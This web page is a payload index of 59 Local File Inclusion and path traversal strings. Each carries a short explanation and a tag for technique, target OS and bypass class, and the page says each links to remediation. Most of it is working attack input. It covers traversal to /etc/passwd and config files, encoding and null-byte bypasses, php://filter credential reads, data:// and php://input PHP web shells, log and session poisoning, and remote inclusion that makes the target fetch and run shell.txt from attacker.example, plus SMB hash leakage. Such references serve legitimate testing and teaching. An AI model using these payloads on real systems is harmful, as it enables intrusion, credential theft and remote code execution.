Skip to content

LFI Payloads Index

A searchable, filterable index of Local File Inclusion and path traversal payloads — filter by technique, target OS and filter-bypass class, each linked to its fix. All 59 payloads across 15 technique classes are listed below; each links to its technique page with full context, detection and remediation. Prefer reading by technique? Start from the techniques overview.

59 of 59 payloads

  • ../../../../../../etc/passwd

    Classic Unix proof of concept. Over-counts ../ to reach the root regardless of base-directory depth, then reads the world-readable account list.

    Linux / UnixNo filterBasic path traversal →
  • ..\..\..\..\..\..\windows\system32\drivers\etc\hosts

    Windows equivalent using backslashes to reach a world-readable file that confirms traversal on Windows hosts.

    WindowsNo filterBasic path traversal →
  • ../../../../../../windows/win.ini

    Windows accepts forward slashes in most path APIs, so Unix-style ../ often works against Windows targets too.

    WindowsNo filterBasic path traversal →
  • ../../config/database.php

    Shallow traversal to an application config one or two directories above the web root — often higher value than /etc/passwd.

  • /etc/passwd

    Direct absolute path. Works when the handler opens the raw value or when path-join discards the trusted base.

    Linux / UnixNo filterAbsolute path inclusion →
  • C:\windows\win.ini

    Windows absolute path with drive letter; a reliable read-confirmation target on Windows hosts.

  • /proc/self/cmdline

    Absolute read of the current process command line — discloses how the app was launched and sometimes secrets passed as arguments.

    Linux / UnixNo filterAbsolute path inclusion →
  • file:///etc/passwd

    The file:// scheme forces an absolute local read in handlers that route the value through a URL/stream opener.

    Linux / UnixPHP wrapperAbsolute path inclusion →
  • ..%2f..%2f..%2fetc%2fpasswd

    Single URL encoding of the slash. Bypasses a filter that matches literal / but runs before the framework decodes the query string.

    Linux / UnixEncodingEncoding bypass →
  • %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

    Both dots and slashes encoded, so no recognisable ../ appears in the raw string at all.

    Linux / UnixEncodingEncoding bypass →
  • ..%252f..%252f..%252fetc%252fpasswd

    Double encoding: %252f -> %2f -> / across two decode passes. Targets proxy-plus-app stacks that each decode once.

    Any OSEncodingEncoding bypass →
  • ..%c0%af..%c0%af..%c0%afetc/passwd

    Overlong UTF-8 for the slash (%c0%af). Accepted by lenient decoders that do not reject non-shortest-form sequences.

    Any OSEncodingEncoding bypass →
  • ..%u2215..%u2215..%u2215etc/passwd

    Non-standard %u Unicode escape for the fraction slash (U+2215), decoded by some legacy Windows/IIS components.

    WindowsEncodingEncoding bypass →
  • ....//....//....//etc/passwd

    After a single non-recursive removal of ../, each ....// collapses to ../, yielding a working traversal.

    Linux / UnixFilter strippingFilter-strip bypass →
  • ..././..././..././etc/passwd

    Another self-healing form: removing the recognised ../ once leaves ../ behind.

    Linux / UnixFilter strippingFilter-strip bypass →
  • ..;/..;/..;/etc/passwd

    Uses the ; path-parameter delimiter honoured by some servers (e.g. Tomcat) so ..;/ is treated as traversal while bypassing a '../' blocklist.

    Any OSFilter strippingFilter-strip bypass →
  • ..\/..\/..\/etc/passwd

    Mixes separators so a filter that only matches one of / or \ misses the sequence while the OS still traverses.

    WindowsFilter strippingFilter-strip bypass →
  • ../../../../etc/passwd%00

    Truncates an appended .php (or similar) suffix so /etc/passwd is opened instead of /etc/passwd.php.

    Linux / UnixNull byteNull byte injection →
  • ../../../../etc/passwd%00.php

    Same truncation shown explicitly with the suffix the app would append; the %00 ends the string before .php.

    Linux / UnixNull byteNull byte injection →
  • ../../../../etc/passwd%2500

    Double-encoded NUL for stacks that URL-decode twice, so %2500 -> %00 -> NUL reaches the file API.

  • ..\..\..\..\windows\win.ini%00

    Windows variant truncating an appended extension to read win.ini on legacy stacks.

    WindowsNull byteNull byte injection →
  • ../../../../etc/passwd/././././././././././././././././././././././.

    Trailing /./ padding consumes path length so an appended extension falls past the truncation limit while the path still resolves to /etc/passwd.

    Linux / UnixTruncationPath truncation →
  • ../../../../etc/passwd........................................

    A long run of trailing dots after the filename; legacy PHP trims them, and the length pushes the appended suffix out.

    Linux / UnixTruncationPath truncation →
  • ../../../../etc/passwd/.

    The /. suffix makes an appended .php invalid (/etc/passwd/.php is not a file) while /etc/passwd/. still resolves to the file.

    Linux / UnixTruncationPath truncation →
  • ./././././././././././././././../../../../etc/passwd

    Leading ./ padding does the same length work before the traversal, used when trailing characters are stripped.

    Linux / UnixTruncationPath truncation →
  • php://filter/convert.base64-encode/resource=/etc/passwd?

    A trailing ? makes an appended '.php' part of the query string, so the wrapper reads /etc/passwd and the suffix is ignored.

    Any OSExtensionExtension bypass →
  • ../../../../etc/passwd#

    On URL-based fetches a # fragment delimiter drops everything after it, including an appended extension.

    Any OSExtensionExtension bypass →
  • ../../../../etc/passwd;.php

    On servers that treat ; as a path-parameter delimiter, the real path ends at ; and the appended extension lands in the parameter.

    Any OSExtensionExtension bypass →
  • php://filter/convert.base64-encode/resource=config

    When the app appends .php, pointing the filter at a page key reads that PHP file's source as base64 instead of executing it.

    Any OSPHP wrapperExtension bypass →
  • php://filter/convert.base64-encode/resource=index.php

    Base64-encodes index.php so its source is returned instead of executed; decode offline to read the code.

  • php://filter/convert.base64-encode/resource=../config/database.php

    Reads an application config file's source, typically exposing database credentials and secret keys.

  • php://filter/read=convert.base64-encode/resource=/etc/passwd

    The explicit read= form of the filter; also works on non-PHP files such as /etc/passwd.

    Linux / UnixPHP wrapperphp://filter source read →
  • php://filter/read=string.rot13/resource=index.php

    ROT13 is a lighter obfuscation that likewise prevents execution; useful when base64 is filtered.

  • data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+

    data:// with a base64 PHP web shell (<?php system($_GET['c']);?>); include runs it, then ?c=id executes commands. Requires allow_url_include=On.

    Any OSPHP wrapperphp:// & data:// RCE →
  • data://text/plain,<?php system('id');?>

    Plain-text data:// variant running a single command inline; simplest proof of code execution.

    Any OSPHP wrapperphp:// & data:// RCE →
  • php://input

    Points include at the raw POST body; send <?php system('id');?> as the body to execute it. Requires allow_url_include=On.

    Any OSPHP wrapperphp:// & data:// RCE →
  • expect://id

    Runs a shell command directly via the expect wrapper — only works where the PECL expect extension is installed.

    Linux / UnixPHP wrapperphp:// & data:// RCE →
  • php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|…/resource=php://temp

    Shape of a filter chain: dozens-to-hundreds of convert.iconv.* steps feeding a base resource. The full chain is machine-generated to emit a chosen PHP string.

    Any OSPHP wrapperPHP filter chain RCE →
  • resource=php://temp

    The trivial base resource the chain operates on; the generated iconv steps build the payload bytes from it.

    Any OSPHP wrapperPHP filter chain RCE →
  • <?php system($_GET[0]);?>

    The PHP string a chain is typically built to produce; once include runs it, ?0=id executes commands.

    Any OSPHP wrapperPHP filter chain RCE →
  • User-Agent: <?php system($_GET['c']); ?>

    Sent as the User-Agent header so the web server writes the PHP into its access log; set this header, then include the log.

    Linux / UnixNo filterLog poisoning →
  • ../../../../var/log/apache2/access.log

    Includes the Apache access log so previously injected PHP executes; add ?c=id to run commands.

    Linux / UnixNo filterLog poisoning →
  • ../../../../var/log/nginx/access.log

    Nginx default access-log path for the same two-step attack on Nginx hosts.

    Linux / UnixNo filterLog poisoning →
  • ../../../../var/log/auth.log

    After an SSH login attempt with a PHP-laden username, including auth.log executes the injected code.

    Linux / UnixNo filterLog poisoning →
  • ../../../../tmp/sess_<PHPSESSID>

    Includes the attacker's own session file after a PHP payload has been stored in it; replace <PHPSESSID> with the value of your session cookie.

    Linux / UnixNo filterSession / upload inclusion →
  • <?php system($_GET['c']); ?>

    The PHP to get persisted into a session variable (e.g. a reflected username/theme) so it ends up inside /tmp/sess_<id>.

    Linux / UnixNo filterSession / upload inclusion →
  • ../../../../tmp/sess_<PHPSESSID>

    With session.upload_progress enabled, uploading while setting the progress name writes attacker content to a predictable sess_ file to include.

    Linux / UnixNo filterSession / upload inclusion →
  • ../../../../tmp/phpXXXXXX

    Includes a PHP upload temp file (name must be leaked or won by race); the uploaded body is executed as PHP.

    Linux / UnixNo filterSession / upload inclusion →
  • ../../../../proc/self/environ

    Includes the process environment; after sending PHP in the User-Agent, the injected code executes. ?c=id then runs commands.

    Linux / UnixNo filter/proc inclusion →
  • ../../../../proc/self/cmdline

    Discloses the exact command line that started the process — arguments sometimes contain credentials or config paths.

    Linux / UnixNo filter/proc inclusion →
  • ../../../../proc/self/fd/10

    Reads an open file descriptor of the process; iterating fd numbers can reveal logs, sockets, or deleted files still held open.

    Linux / UnixNo filter/proc inclusion →
  • ../../../../proc/self/status

    Leaks process UID/GID, capabilities and limits — useful reconnaissance for privilege escalation.

    Linux / UnixNo filter/proc inclusion →
  • zip://../../uploads/avatar.zip#shell.php

    Includes shell.php packed inside an uploaded zip (any extension works); the inner PHP executes. The # names the inner file.

  • phar://../../uploads/avatar.phar/shell.php

    Includes an inner PHP file from an uploaded phar archive for direct execution.

  • phar://../../uploads/image.jpg/test.txt

    Merely accessing a phar path (even one disguised as .jpg) deserializes its metadata; a crafted object can fire a gadget chain for RCE.

  • http://attacker.example/shell.txt

    Classic RFI: the target downloads and executes the hosted PHP. Host it with a non-PHP extension so your own server serves the source. Requires allow_url_include=On.

  • http://attacker.example/shell.txt?

    The trailing ? turns an appended extension on the target into a query string, so shell.txt is fetched intact.

  • \\attacker-ip\share\shell.php

    Windows UNC inclusion over SMB — executes the remote file without URL wrappers and leaks the server's NetNTLM hash on connect.

  • ftp://attacker.example/shell.txt

    FTP wrapper variant used when HTTP egress is filtered but FTP is permitted; still requires allow_url_include.